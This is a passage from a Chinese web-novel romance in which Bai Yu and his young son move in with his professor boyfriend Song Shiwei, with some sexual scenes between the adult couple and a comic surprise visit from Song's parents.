安安漂亮的眼睛珠子也随着巧克力动来动去,“嗯嗯。” 白榆心虚的问道:“安安,你想不想和我还有你爹一起住?我们搬到你爹那里去住吧?” 白榆中午上头就直接答应了。 但万一安安不同意怎么办? 虽然小崽崽应该都是想和父母住在一起的吧? 但……万一呢。万一安安觉得在这边住习惯了,不想搬走呢? 白榆脑子里,冒出来了安安在地上打滚哭的幻想。 “一起住。”安安的眼睛从巧克力上移开,仰头看着爸爸,眨了眨眼,“安安要搬走吗?” “嗯。”白榆点头。 安安停顿了一下,眼睛一下亮了,“爸爸!安安要去旁边的姐姐家说安安要走了!” “好。”白榆觉得奇怪。 舍不得吗? 怎么看起来也不像? “谁?”黎默推开门,看到小小一只的安安,开心地说道,“安安,你怎么过来了?要来姐姐家玩吗。” “姐姐好!”安安看起来也很开心,探出小脑袋,警惕地眯起眼睛,往门内找了一圈,“姐姐,黎渝,在吗?” “他今天和爸爸妈妈出去了,不在的。安安是来找他玩的吗?”黎默不自觉的掐起嗓子。 白予安先是点了点头,又摇了摇头,头顶的呆毛跟着晃动,认真地说道:“安安不是来玩的。” “可以给他打个电话吗?”白予安踮起脚尖,“安安有事情想要告诉他。” “好啊好啊。”黎渝又被萌到了,拨了黎渝的号码。 黎渝很快就接了,“喂,堂姐,有什么事吗?” 黎默努力维持着笑容。 同样是崽,自己家的就从小都不可爱。 “安安找你有事。”黎默也不夹着嗓子了。 她弯下腰,把手机给安安。 “哼哼!”安安的嘴角翘的高高的,得意的哼了两声。 “安安!”黎渝声音和刚才听起来简直不像一个人,热情地说道。 “我要搬走了。”白予安直接切入,他专门过来找黎渝的主题,“要搬到看不到你的地方去了。” 黎渝安静了一会才说道:“你要搬走了?” “就不告诉你搬到哪里。”安安鼻子翘的高高的说道…… * * * 白榆不知道两只人类幼崽之间的恩恩怨怨,苦大仇深,恨海情天。 白榆只见到,他家崽一脸开心的跑回来,和他一起收拾东西了。 和之前为了骗过幼儿园的那次不一样,现在是要真的搬到宋时蔚家去住。 白榆本来只打算,先随便带点东西过去,缺什么后面在慢慢拿就行了。 结果宋时蔚找了专业的搬家团队。一会的功夫,白榆屋子里的东西就被掏空,所有东西全部被原封不动的运到宋时蔚那,在重新安置好。 没有在回去的必要了。 晚上,白榆去洗了个澡,他对面就是之前住的客房。客房里明显今天又被人整理了一遍,东西齐全。 白榆从客房里拿走他的枕头,抱着枕头,往二楼走。 白榆站在门前,思考了两秒,还是敲了敲门。 没人回。 确定宋时蔚就在房间里,白榆敲门的动作用了点力。 “进。”低沉的声音隔着很远传了过来。 白榆进到宋时蔚的卧室里。 卧室的浴室里,是传来水声。 宋时蔚在洗澡,白榆心想道。 第83章 宋时蔚快速冲洗完, 拿了块毛巾,擦身上的水。 水温很高,一片水雾中, 高大英俊的男人裸露着,水珠从这幅流畅自然的肌肉线条上滑过。 淋浴的正对面是一面巨大的落地镜,镜子里的人,瞳色很深,里面是不动声色的欲念。 宋时蔚的目光瞥见镜子里的人, 多看了几秒,最后还是穿戴齐全的出去了。 宋时蔚没选择穿浴袍, 大晚上的,他给自己挑了件黑色的衬衫长裤,打了领带,带上眼睛,穿戴的一丝不苟的出去了。 宋时蔚知道白榆在外面。 才刚住在一起,宋时蔚在心底告诫自己。 不要急,慢慢来。 宋时蔚推开浴室的门, 调节好表情,把那些见不得人的心思压了下去,让自己看起来尽量平和。 他的床上多了人。 白榆听见动静,从被子里探出脑袋, 漂亮的琥珀色眼睛睁的大大的,盯着刚从浴室走出来的宋时蔚看。 白榆洗完澡不喜欢吹头发,他头发还有些湿,随意地散在床上,睡衣上面的扣子没扣全,露出细长的脖子和锁骨, 视线直白不带一点隐藏的盯着宋时蔚。 宋时蔚的脚步顿住,喉结上下滚动了一下。 白榆从床上坐起来,拍了拍床,奇怪地问道:“怎么不过来?” 怎么穿的严严实实的?? 宋时蔚眯了眯眼睛,走到了床边,嗓音有些沉,“怎么到我的床上去了?” 白榆理所当然地说道,“谈恋爱要睡在一起啊。” 宋时蔚弯下腰,声音耐心但危险地说道:“知不知什么叫睡在一起?” 白榆不耐烦的‘呲’了一声,上下扫视着宋时蔚,他从床上站起来,伸手摘掉了宋时蔚的眼镜。 ”知-道-“白榆下巴扬高,观赏着宋时蔚的表情,拖着腔子说道。 宋时蔚像是最后一层伪装被白榆撕碎,没了那副极力压制装出来的温和,目光赤裸的凝视着白榆。 白榆伸手隔着衣服,摸了摸宋时蔚的胸肌。 嗯。 摸到了* 上次喝醉了,都没好好摸、 白榆又变成了年画娃娃的样子,唇抿着,两片腮红飞到脸颊上。 白榆的手腕被人忽然地用力抓住。 “怎么,不给我摸。”白榆被握的有点疼,他皱了下眉,不高兴了,语气不怎么好地问道,“你不是我男朋友吗?” 宋时蔚意味不明的看着白榆,握着白榆的手松了点力。 “给你摸。”宋时蔚放松了抓着白榆的手,“想怎么摸。” 宋时蔚笑了一声,把领带给解开,将这条暗红色的领带,交到白榆手中。他轻握起白榆的手腕,在刚才这只在他身上乱摸的手上,拇指和食指中间,暗示意义极足的吻了下去,“来。” 白榆耳根更红了。 他发现他又想亲宋时蔚了。 明明早上才亲过。 见白榆没有动作,宋时蔚哼笑了一声,就这么站在白榆面前,一颗一颗的把衬衫扣子解开了。 他动作缓慢的把这件黑色的衬衫脱去,露出精炼赤裸的上身,匀称紧实的肌肉,随着呼吸微微震颤。 “不是想看吗。” “一直盯着。” “不摸吗。” “就在你面前呢。” “现在,你想做什么都可以,” 宋时蔚的嗓音发沉重,磁性的声音,故意引诱着白榆。 白榆心跳的太快,室内的气温像是忽然升高了一样,让人心痒痒,白榆没忍住,低头吻了下去。 宋时蔚后仰着配合着白榆的吻,他抱住白榆,把白榆从床上抱起来,用腰身把对方的腿分开,宋时蔚裤子没有褪去,鼓起的地方更鼓。 “宝贝。”宋时蔚的上半身紧贴着白榆,炙热从宋时蔚身上传过来,热的让白榆有一种宋时蔚要和他融为一体的错觉,宋时蔚低声说道,”我发现你喜欢用脚蹭别人那里。” “好习惯。”宋时蔚含住白榆的唇,燥热急切的又吻了下去。 * * * 白榆把自己埋在被子里,身上的温度迟迟下不去,像只煮熟了的虾一样,蜷缩起来。 刚刚…… !! 宋时蔚的手。 白榆以前就觉得宋时蔚的手好看,手指很长,指节分明的。但今天,白榆头一次这么直接的感受到,宋时蔚的手指到底有多长,清楚的感受宋时蔚的每个指结。 后面,宋时蔚还去找了只戒指。 白榆脑袋上马上就能冒蒸汽了。 “宝贝,你真美。”宋时蔚还在他马上快到极限的时候说这种话。 不要脸。 他居然还就这么在宋时蔚手里…… 白榆的脑子里一阵翻江倒海,他想在床上打滚,但下面多少还是有点感觉,只能抱着个枕头缩着。 浴室里响起水声。 怎么又开始洗澡了。 白榆翻了个面趴着,反应了一会,猛地从床上爬起来了。 他这次站在浴室门口,没敲门直接进去了。 宋时蔚没锁门,看见白榆手上的动作一顿。 “你为什么还带着戒指!”白榆第一眼看见的是宋时蔚手上那枚镶嵌着祖母绿的方戒,瞬间炸毛。 “洗过了。”宋时蔚把浴室的水关了,声音沙哑。 宋时蔚停下手上的动作,没有白榆的不自然,去洗了手,大大方方的立在那里,“怎么进来了,小朋友。” “别叫我小朋友。”白榆往下看了一秒,走上前,仰头咬了一口宋时蔚的下巴,恶狠狠地说道,“尤其别在这种时候叫。” 宋时蔚的呼吸变重。 “我帮你。”白榆又亲了一口,把手往下探。 宋时蔚按着白榆的脑袋,继续了这个吻,喘息着说道:“别停。” * * * 确定和宋时蔚同居后,白榆的生活发生变化,多了个男朋友,换了个地方住,但这些好像又没有那么大的变化。 比如他好像早就习惯了出门给宋时蔚报备,习惯了和宋时蔚一起生活,更习惯宋时蔚这个人。 白榆不擅长跟别人相处,他一个人住习惯了,本来以为搬过来和宋时蔚一起住,多少会有些不自在,结果完全没有。 安安就更不用说了,白予安原本就是生活在这里的,对别墅里的东西非常熟悉。 就是晚上睡在一起的时候……难免会发生点什么。 清早,安安滴溜溜地睁着一双大眼睛,好奇的看着爸爸和爹地。 白榆叼着块面包,正低着头反思,他昨天咬的没收住力,宋时蔚下巴上的印子还在呢。 白榆妄图解释:“这是……”蚊子咬的。 “这是爸爸咬的。”小崽崽握着勺子抢先一步说道。 白榆:“…………” 死一样的沉默。 安安竖着一根手指头,认真地说道 :“爹地以前说过的,只有很喜欢很喜欢的人才可以咬来咬去的。” 白榆把脑袋转向宋时蔚,看着宋时蔚。 宋时蔚没忍住笑了出声,他加了一根煎好的鸡肉肠给安安,“嗯,对的。” * * * 温馨的日子还在继续,同居后白榆发现了很多宋时蔚的小秘密。 比如宋时蔚在阳台养了一堆仙人掌,还给每个仙人掌都起了编号,平时还会煞有其事的叫这些编号。 再比如他发现宋时蔚喜欢裸睡,而且每天都会换床单,有洁癖。 再再比如某天在宋大教授的书房写作业的时候,发现了一本奇怪的书。 白榆一眼就瞥见这本书了。 书皮花花绿绿的,在这一众晦涩难懂,他看不懂的书里面,很难让人不一眼发现。 白榆把这本书拿出来,看了一眼封面。 《如何和青春期的孩子沟通》 宋时蔚还看这种书呢? 白榆把书放回去。 现在看会不会太早了? 安安还在上幼儿园呢。 一直到吃完晚饭,白榆才忽然反应过来。 等等? 青春期? 他不会在说我吧。 白榆冲冲地去找宋时蔚。 宋大教授就在书房里,开着电脑,不知道在忙什么。 白榆一把跨坐到宋时蔚身上。 白榆发现他和宋时蔚住一起后,多了些毛病。比如现在,他放着好好的椅子不坐,就坐宋时蔚大腿上。 “怎么了,小朋友。”宋时蔚把身子往后靠了靠,让白榆坐的更舒服点。 白榆搂着宋时蔚的脖子,臭着张脸说道:“你书房里的那本书。” 哦,那本啊。 宋大教授瞬间就明白了,但还是装作不清楚的样子,人模人样地问道:“嗯?什么书。” “就是那本什么《如何跟青春期沟通》”白榆问道,“你为什么买这种书。” 买这种书干什么? 现在不就是在用吗。 不过可惜只有教怎么和青春期小孩沟通的,没有教和青春期小男朋友沟通的,宋时蔚面上不显不动声色的想道。 宋时蔚面不改色的扯谎,“提前为了安安买的。” 白榆不太相信,盯着宋时蔚看了半天,也没从宋大教授脸上看出什么破绽。 “哦。”白榆伸展了下手臂,回头看了眼宋时蔚的电脑,问道:“这是什么?” “在给学生打平时成绩。”宋时蔚一只手摸白榆的脊骨,另一只手操作着学校的教务页面。 “哦。”白榆看着,问道,“现在就结课了吗?” 宋时蔚:“嗯,课时比较少。所以平时讲的比较快。” 宋时蔚这是在给我解释吗,白榆心想道。 白榆:“哦,你忙。” 说着你忙,但白榆完全没有从宋时蔚身上下来的意思,他继续趴在宋时蔚身上,时不时的回头看电脑屏幕。宋时蔚也乐得他趴着。 宋时蔚对于给学生平时成绩的分数,一向公正,不带任何的私心。他记忆力不错,考勤、作业、小测成绩、课程设计的完成程度,每个学生应该有多少分数,他心里有数,几乎是不停顿的在系统上的打着分数。 白榆看了半天,终于在屏幕上找到薛楠的分数,不是一个多好看的数字。 白榆忍不住问道,“教授,你给我打多少分。” 给你多少分? 宋时蔚瞅了一眼怀里的小孩。 宋时蔚心想,上课不带书,不听课,课堂作业不做,还泡老师。 给多少分呢? 宋时蔚扶了扶眼镜说道:“60。” 别的扣光了,泡老师给加一点。 比薛楠还低,白榆瞬间要炸毛,“你就给我这一点,做人要讲道理。” 要讲道理就一点都不给你了。 “作为教授,给60分。作男朋友……”宋时蔚低头吻了一下白榆的发顶,“给你一百分。” 白榆心理软软的,迅速被哄好了,“哦,行吧。” 宋时蔚摸了摸白榆的脑袋,觉得还是给少了。 第84章 “嗯。”白榆半梦半醒中发出一声无意义的闷哼, 他费力把眼皮掀开一条缝,入目的就是宋时蔚性感的胸肌,沟壑般的肌肉线条从腰腹一路向下, 直到隐没在那条单薄的被子中。 宋时蔚没穿衣服,白榆迷迷糊糊地想到。 “吵到你了吗?”宋时蔚声音很轻,顺着白榆的脊骨安抚似的抚摸着。 白榆嗓子发出一阵无意义的声音,把脑袋往另一个方向偏,细长的脖颈, 完全的暴露在宋时蔚的眼里。 宋时蔚的目光发沉,克制住自己早晨起来的冲动。 白榆还没完全醒来, 但身体本能的在追寻着快乐,他往宋时蔚怀里靠了靠,将脑袋埋在宋时蔚的胸口,手下意识的去摸宋时蔚腰侧的肌肉。 “热死了。”白榆的大腿搭在宋时蔚的跨间,紧贴着宋时蔚不放开,迷迷糊糊中,不满地说道, “把空调打开。” 宋时蔚身上像火烤了一样,他低头看胸见的脑袋,笑了,低声骂道, “欠你的。” 宋时蔚的手臂避过白榆去拿手机,把室内的空调调低。 这个时间点已经到宋时蔚生物钟起床的时间了,宋时蔚眼睛半眯着,少见的赖床了。他搂着白榆,享受着清晨美好的时光。 * * * 白榆醒来的时候,宋时蔚已经离开了, 被子严实的搭在他的小腹上,他睁开眼,在大床上滚了一圈。 宋时蔚的床好大,床垫…………也值那个价。 忽然想起一些记忆,白榆趴在枕头上,耳根红了起来。 隔了一夜,白榆下面还有点感觉,他从床上爬起来,顺着昨天晚上的记忆,拉开了宋时蔚床头柜上层的抽屉。 里面是被摆的满满当当的润/滑/液和套子。 白榆耳根红着,‘砰’的一声,把柜子合上了。 宋时蔚买套子了? 那他为什么不做到最后? 白榆奇怪着。 虽然每次他到后面就被弄的意识不清醒了,没力气去问。但他们都同居都一周多了,擦枪走火那么多次,白榆能感觉到,宋时蔚是从来没有满足过的。 到底为什么不做到底。 在忍什么? 脑子里带着一串问号,白榆从卧室里出去。一到楼下他家崽就扑上来了。 “叭叭。”安安伸开手,等着被抱。 “安安。”白榆把安安抱起来,捏了捏白予安的小手。 “爸爸,安安一个人睡觉的哦。”安安大大的眼睛看着白榆,拐着弯开始等夸奖。 “哇,太棒了。”白榆配合着捧场。 白予安开心了。 好吧,爸爸不和安安睡也可以。 安安可以可以自己睡。 小崽崽三言两语的就被哄好了 餐桌上已经摆好了早餐,宋时蔚拿着份报纸,坐在椅子上在等他们。 白榆抱着安安去洗手,洗完手回来一起吃早餐。 “我这周末要去外省,有个会,我要去做报告。正常要周一才能回来。”宋时蔚报备完,嘱咐道,“冷冻里有这周才烤的面包,早上拿微波炉解冻了就能吃,家里每天会有人送食材过来,不要的话,记得提前打电话说。阿姨每天下午来,脏衣服提前放到衣娄里。” “我知道。”白榆刚睡醒,脸色还不太好,“面包不还是我们一起烤的吗。” 宋时蔚弯唇,加了块面包给白榆,“嗯,好棒。” 白予安在旁边点头,小脸上有模有样地,认真地说道:“安安都记住了。” 宋时蔚:“嗯。” 宋时蔚是周五晚上走的,正式开始前有个私人会议他要参加,需要提前一些到。 走的时候,宋时蔚还是很放心的,不觉得就离开两天,家里能出什么事。 很快宋时蔚就发现他错了。 宋时蔚走了,白榆晚上自然而然的和安安一起睡,抱着自家可爱的崽。 周天上午,白榆和安安约好去游乐园玩,临走的时候,他去楼上他和宋时蔚的房间拿帽子。 白榆的目光却不自觉的,又飘到了那个床头柜上。 他犹豫了几秒,半蹲着,又打开了这个万恶的柜子。 本来宋时蔚买来就是用。 放在这,我看看也没事,白榆在心里想道。 白榆趁着宋时蔚不在,开始翻里面的东西。 抽屉里的润/滑/液的种类很多,各种品牌都有。白榆发现里面很多都是包装拆了后,就用了一次就扔在里面封存了的。 宋时蔚怎么买这么多,套子倒是很单一…………超大码。 白榆发现床头柜下面那层好像也有东西。 他把下面的抽屉拉开,脸色瞬间爆红。 “爸爸。”白予安的声音从门外传来,小崽崽敲了敲门。 白榆心跳瞬间加速,手忙脚乱地把柜子合上。 “安安,怎么了。”白榆把卧室的门打开一道缝问道。 安安从小被爹地教的很好,从来不随便进爸爸和爹地的房间,也不往里面乱看。 安安趴在门口问道:“爸爸,我们什么时候一起出去啊。” “哦,走。”白榆想起他来卧室是干什么的,“我拿个帽子,马上就走。” 白予安开心地说道:“好!” 和爸爸一起出去玩喽! 十分钟后,一大一小两人一起高高兴兴的出门了。 * * * 三小时后。 一辆车驶到宋时蔚的房前,一对夫妇缓缓从车上下来。 宋母问道:“我们来的事,给时蔚讲了吗?” 宋父不急不缓地说道:“刚给他打电话了,没人接,估计是在忙。” 时蔚一直都很忙,一时联系不上很正常,宋母没太放在心上,“那先等会,在打给他吧。” 宋父颔首,“好。” 难得回国一趟,还能来看看孩子,宋父和宋母的心情都还不错。 两人顺利的打开屋子的大门,刚开门,就发现不对了。 宋母看着鞋关处明显不属于宋时蔚尺码的白色运动鞋,犹豫着问道:“时蔚家里,是多了个人吗?” 深知自己儿子本性的宋母宋父两人都没说话,对视了一眼,眼中都有些惊讶。 两人进到屋内,在客厅里发现明显是属于孩子的玩具后,心底的困惑更大了。 怎么回事? 屋里比他们上次来多了很多一看就不属于时蔚的东西,这里很明显有其他人的生活痕迹。 宋父顿了顿,做了一个在他平时看来很多余的举动,离上次打电话还没隔多久,他又给宋时蔚发了信息,打了通电话。 依旧是没人接。 就在宋父宋母奇怪的时候,两人听见了房门打开的声音。 ‘咔’的一声,一个染着白色头发,长的非常好看的男生,进到了他们三十多岁的儿子的房子里! 是男的! 还这么小! “抱歉。”白榆一开门,就看见屋子里站着两位非常有气质的夫妇,愣了一下,第一反应是走错了。 白榆往后退了两步,抬头往上看,看到熟悉的门牌。 没走错啊。 这就是我家。 这两人是谁? 白榆缓慢的低下头,看着两位仿佛被钉在原地不动的夫妇,心中有一种强烈的不详感。 此刻,一直跟在爸爸后面的小崽崽,从白榆腿后探出脑袋。 “奶奶!” “爷爷!” 看到爷爷奶奶,安安一双琥珀色的眼睛blingbling,迈开小短腿,撒丫子的朝着宋父宋母跑了过去。 跑到屋内,白予安紧急刹住车,从旁边的鞋柜里取出他的专属拖鞋,把小脚套进去后,又把自己的鞋子仔细的放到鞋柜里摆好。 安安发现爸爸有鞋子在外面,伸手把爸爸的鞋子放到另一个鞋柜里,收拾完后,才连跑带跳的朝爷爷奶奶跑了过去。 “爷爷!奶奶!你们是来找安安玩的吗。”白予安软乎乎的脸蛋凑到宋父宋母跟前,他刚从游乐园里回来,脑袋夹着白榆给他买的小花发夹,手上拿着一串粉红色的棉花糖,小小一点,看起来超级可爱。 爷爷? 奶奶? 都有孩子了! !!! 不,不对,怎么有的孩子! 宋父宋母目光空洞,理性了大半辈子的大脑,一下就转不过来了,对于眼前的状况大脑宣布全部报废。 第85章 “爷爷, 奶奶。安安今天和爸爸去游乐园玩了。”安安摸了摸自己小花发卡,自然地说道“这是爸爸给安安带的。” “当当——”白予安在原地转了一圈展示,“安安, 可爱吗。” “可爱,可爱。”宋父宋母的大脑还是一片空白,不自觉地复读道。 “安安超级可爱。”白予安叉着腰,骄傲地说道。 宋父宋母继续复读“是的,是的。” “爹地, 还不在,他出去开会了。”白予安探头往屋子里面看, 仰着脑袋自动为爷爷奶奶解释,“爹地,要明天才能回到家里了。我和爸爸在家。” 宋母抓住重点,“爸爸?爹?” 宋父震惊地说道:“明天才回来。” 那今天,不对,那现在怎么办。 宋父宋母抬头去看白榆。 在门口的白榆机械性的换完鞋子,走了他人生中最漫长的几米, 拘谨僵硬地打招呼,“叔叔,阿姨,好。” 宋父宋母隐约中明白了什么, 又什么都不明白,继续管不住嘴地复读道:“好,好。” “叔叔,阿姨,我去泡点茶。”白榆看着宋时蔚爸妈,手脚都不知道该怎么摆了。 * * * 可爱的崽向来是缓解家庭关系紧张的重要一环, 但很可惜。往往在很多情况下,又不适合有崽在场。 为了更好的解释,为什么会忽然冒出来一个孙子,白榆只能忍痛,把安安送回房间,独自留下他一个面对现在的修罗场。 白榆站在厨房里,去找宋时蔚家的茶叶。 宋父宋母这把年龄什么的人了,什么大风大浪都见过的了,此刻却无比拘谨的坐在自己儿子家的沙发上。 别墅厨房的门做的是全透明的,坐在客厅里,透过玻璃里面的情景能看的一清二楚。 宋父宋母小心点往里面看。 宋父犹豫着说道“时蔚,他喜欢……男的吗?” 宋父不是个古板的人,但接受度也没那么高,放在平时自己的儿子出柜,肯定是个值得关注的事情。 不过现在,这点‘小事’,还不值得专门拿出来提。 “刚叫我们爷爷奶奶的那个小孩子是谁?”宋父实在是想不出来,“那是时蔚的孩子吗?” 宋母整理了衣服,压低声音说道:“我这样穿会不会太不正式了。我们这次没带什么贵重礼物,红包也没准备。还有小孩子的礼物也没有。这孩子看起来好小。不知道成年了没有。你说时蔚,他这是……” 宋母的话止住。 一瞬间,什么老牛吃嫩草,什么师德败坏搞学术,什么搞未成年,什么不要脸,都在两人脑海中浮现了。 宋父宋母吞咽了一口口水,坐的更拘谨了。 白榆神经紧绷地从橱柜里拿了包茶叶出来。 这是宋时蔚的父母! 怎么办! 我,我……我头发还没染回来。 白榆一慌,脑子就喜欢往外乱冒消息的毛病又犯了,他拆开茶袋,摸了个玻璃水壶,往里面框框倒了大半包的茶叶。 他拿着玻璃壶,放到饮水机下面,下意识的按下热水按键,冒着蒸汽滚烫热水注入了水壶里。 客厅里,宋父用力地倒吸一口气,心疼的快碎了。 那是我银针啊。 宋父上年纪后,没别的爱好,就喜欢点茶叶。这是他专门托人。找的上好的君山银针,得了后,就送了一点给宋时蔚,这下好了,全没了。 白榆听见客厅里抽气的声音,紧绷地身体下意识的一抖,迅速地一巴掌拍到按键上,把热水给关了。 白榆看着玻璃壶里面漂的茶叶,也明白过来,自己做错事了。 “对不起,这个茶……”白榆抿了抿唇,回头道歉。 宋母眼疾手快地给了宋父一个肘击,在白榆回头前,准备好温和地笑容,“茶?辛苦给我们泡茶了。没关系的,不用这么麻烦的,我们喝点水就好了。” 宋父被打的抽疼,赶紧在旁边附和,“对对。不用这么麻烦的。” 白榆紧张地说道:“我马上就泡好。” 宋母也紧张地回复,“不急,不用着急。我们没事的。” 白榆转过头后,双方都不约而同的给宋时蔚发消息。 【树:你爸妈来了】 发完白榆觉得这不足以表达现在的紧张。 他手指一刻不停的发着消息。 【树:你爸妈来了,碰到我和安安了,现在在客厅里坐着,我要怎么跟他们说。还有我把橱柜里的茶叶泡坏了,你爸好像很生气】 明知道宋时蔚回不来,白榆还是忍不住问道。 【树:你什么时候回来】 出乎白榆意料的,宋时蔚几乎是立刻回来他的消息。 【宋时蔚:我十分钟之内回去,别怕】 【树:嗯】 看到宋时蔚的消息,白榆鼻头一酸。 白榆不懂茶,他赶紧往壶里面兑了点温水,拿了几个杯子,往客厅走。 躲不了了。 白榆把茶壶放到桌子上吗,更紧张了。 “叔叔,阿姨。”白榆站起来给宋父宋母倒茶,“请喝茶、” “诶,谢谢。”宋父也赶紧站起来接茶,喝了一口,立马夸,“好,香气扑鼻,入口回甘,唇齿留香,这茶泡的真好。” “谢,谢谢。”白榆也跟着喝了一口。 又苦又涩…… 白榆控制着自己的表情,把茶水咽下去,盯着眼前这一对浑身上下都散发着高知气息的夫妇,脑海里不自觉的开始幻想出这样的画面——一个开着鬼火,染着白毛的精神小伙,后面拖着书香门第的大家闺秀宋时蔚,对着人家父母大笑。 嘿,老登,我把你们儿子拐走了,哈哈哈哈哈。 白榆把腿收拢,小心的将茶杯放在桌子上后,这辈子都没坐的这么端正过。 宋父宋母盯着眼前这个眉眼出挑,眼睛水灵,长的出奇好看的小男生,脑子里也不由地跳出来一些画面——一个身材高大,脾气古怪的男人,糖果皮鞭一起上的威逼利诱涉世不深的小男孩,强迫对方满足自己的爱好。 这是我的puppy。 一想到到有可能会出现这样的画面,宋父宋母连茶都喝不下去了,努力维持着温柔的笑容。 第86章 宋母看着白榆, 一副欲言又止的样子。 宋夫轻拍了宋母的肩膀,压低声音说道:“时蔚,回我们消息了。” “他说什么。”宋母皱着眉说道。 “他说他一会就回来。”宋父的视线落在白榆身上一瞬, “说,屋子里是他……男朋友和孩子。” 白榆的听力很好,一清二楚的把这些话听进去了,耳根又不争气的红了。 见宋母看着自己,要说什么都样子, 白榆赶忙先做自我介绍,“阿姨。我叫白榆, 叫我小榆就好。” “小榆。我是时蔚妈妈。”宋母的声音一如她这个人,听起来很温柔,“你和时蔚,是怎么在一起的。他有没有……强迫你。” “没有。没有。”白榆赶忙否认,“我和他是在……在省图书馆二栋五楼西区认识的。看书的时候认识的。” “看书的时候认识的?”宋母对这个答案很诧异。 这孩子,看起不太像是会去图书馆看书的。 “咔——”安静的室突然响起细小的推门声。 安安踮着脚,把卧室的房门偷摸地推开一条小缝, 肉乎乎的小脸趴在门上,自以为很隐秘地好奇往外面看。 结果小崽崽一开门,就发现爷爷奶奶爸爸都在看他。 ! 安安被吓了一跳,小手一勾, 迅速去拉门把手,差点自己拉着门撞到自己,把自己关回房间里了。 宋母盯着门看了一会,和宋父交换了一个眼神,看着白榆小心地问道,“安安是时蔚的孩子吗?” 白榆赶紧点头, “是的。” 宋父在旁边沉重地道歉,“对不起。” 宋父宋母直了一辈子的腰,终于还是断了。 白榆:“?” ??? 白榆脑子空白了一会。 他们是误会了吗? 不会吧。 安安怎么看都是我的孩子啊? 只是看的话,就算觉得不是宋时蔚的孩子,也应该是我的孩子啊。 白榆不知道,他装乖装的,脸嫩到,宋父宋母以为他刚满17。 “爸,妈。”别墅的大门被推开,宋时蔚是小跑着进来的,“你们怎么来了?” 原本定在周一的机票,被改签到今天,宋时蔚几乎是会议一结束,就赶去机场。下了飞机,他在车上小睡了一会,没注意手机上的消息,没想到这么一小会,他父母就和白榆撞到了。 白榆看见宋时蔚进来,身体很明显的放松了下来,在沙发上移了移,给宋时蔚让出一块位置。 宋母皱着眉头。 白榆心里咯噔一声。 这是对我不满意吗? 果然他们应该想给宋时蔚找个和他一样知书达理的大家闺秀吗? 我还把茶泡坏了。 还没等白榆乱七八在的想法结束,宋母从沙发上起身,说道:“时蔚,你跟我来一下可以吗?” “好。”宋时蔚安抚性地摸了一把白榆的脑袋,朝着二楼的天台跟宋母过去了。 被留下的白榆和宋父大眼对小眼。 宋老先生一把年龄,实在是没有想到自己有一天会因为儿子晚节不保,他和白榆目光对视上,在诡异的沉默中,主动说道:“叔叔,叔叔给你削个苹果吧,哈哈,哈哈。” * * * 天台上。 宋母站在栏杆上旁,哪怕到这个年龄了,她看起来依旧很好看,举手投足间带着一种岁月无法磨灭的美。 “本来呢,我和你爸爸不应该干涉你的事情的。但有一些事,我觉得还是要问清楚。”宋母美目眯着,往远处眺望,说道:“那孩子成年了吗?” 宋时蔚:“刚二十。” “是吗,听着比你小很多。有烟吗,时蔚?”和这幅优雅温和的皮囊不同,宋母是个骨子里性格非常强势的人,她年轻的时候,什么疯事都干过。 宋时蔚:“家里有孩子,戒了。” “也是。我也该戒了。”宋母把手支在栏杆上,怅然地说道,“我差点以为,你和个没成年的学生在一起了。那安安呢?” 宋时蔚:“什么?” 宋母问道:“安安是你和谁的孩子?” 宋时蔚挑了下眉,不明白就这么短短接触不到半小时,是怎么产生这种误解的。 他提前改签回来是为了跟白榆进行一些不要脸的温存,结果人没碰到,还要在这接受父母的批斗。 宋时蔚认真地说道:“安安是我和白榆的孩子。” 宋母:“嗯?” 宋时蔚半开玩笑似地说道,“您要看亲子鉴定报告吗?” 在宋母的认知里,两个男的不可能有孩子,更何况白榆才多大,这么可能有一个三、四岁大的小孩。但宋母不是个会随便出言反驳别人的人,她安静的等宋时蔚继续说。 宋时蔚花了些时间,把事情解释清楚。 宋母:“你是说,安安是你们未来的孩子。” 宋时蔚:“从结果上来看,是这个样子的。” 宋母知道宋时蔚不可能在这种事上瞎说,可能是年轻的时候人生履历太混乱了,宋母发现她很快就接受了宋时蔚跟个小男生有孩子了这件事,但是…… 宋母了解自己儿子,过了半晌,她问道:“时蔚,你喜欢小榆吗?是因为喜欢才和小榆在一起的吗?” 宋时蔚轻叹了口气,“我爱他。” * * * 宋时蔚和宋母重新回到客厅的时候,茶几上洗干净点苹果已经被削了一大半了。 白榆坐在沙发上,拿着一把水果刀,在削苹果。 宋父另一边的沙发上,拿着家里的另一把水果刀,也在……削苹果。 宋时蔚的脚步一顿。 白榆见到宋时蔚回来,明显松了口气。 “小榆。”宋母笑着跟白榆打招呼,“我和时蔚爸爸,先出去一下。在这等我们一会可以吗?” 白榆赶忙点头,“好的,阿姨。” 宋时蔚把这些削的乱七八糟的苹果收好,端到厨房,几分钟后,端着一盘被切成小兔子形状的苹果回来了。 宋时蔚拿起牙签,扎到兔子苹果里,拿了一个给白榆。 白榆咬了一口说到:“叔叔,阿姨去说什么。” 宋时蔚:“应该是安安的事情吧。” 白榆咬苹果的动作一顿,“你说了?怎么说的。” 宋时蔚:“都说了。” 白榆:“阿姨……什么反应。” 宋时蔚回想录一下,“看起来,接受的不错。” 白榆一口咬掉兔子,“要是他们不能接受你跟男的在一起了怎么办。” 就……还是想要给你找个跟你一样的大家闺秀。 宋时蔚新拿了一只兔子苹果给他,“那就把安安放出来,让小孩子出来活跃一下氛围。” 见白榆真的在认真思考可行性,宋时蔚勾唇。“放心吧。他们不可能会不喜欢你的。” 宋父宋母很快就回来了,白榆起码没在他们脸上看见明显的抵触情绪。 “小榆,你和安安刚回屋子里累吗?”宋母说道,“要是不累的话,你和安安还有时蔚陪阿姨去逛逛吧。” 白榆:“嗯,好的。” * * * 苏城,商场内。 “安安,试试这个。” “还有这一件。” “这个合适。” 一会的时间,安安就试了好多好多的衣服 从蓝白相间的可爱水手服,到红色夹衣内搭白色连衣裙,在到带着小熊耳朵的连体衣,各种样式的衣服安安都试了一遍。 安安长的太好看了,不知道到人还以为是哪个小模特受邀来拍照,连店员带路过的客人,不自觉地把安安围了一圈又一圈的在看。 “好可爱。” “要不是知道我生不出这种,我都想要孩子了。” “情绪好稳定的崽,想生。” 大部分这个年龄的小孩子,这么试衣服早就又哭又闹的不耐烦了,但安安没有,小崽崽很乖巧的去换了一件又一件。 他好像知道自己很可爱,也知道每个人都很喜欢他,对周围其他人都笑盈盈的。 “这个袖子有点长了”宋时蔚问店员,“有小一个码的吗。” “就是这样才可爱。”宋母半蹲下来,把手摊开在身前。 白予安看看,把小爪爪搭在宋母的手上,成功放上去后,眉眼弯弯的对着宋母笑了。 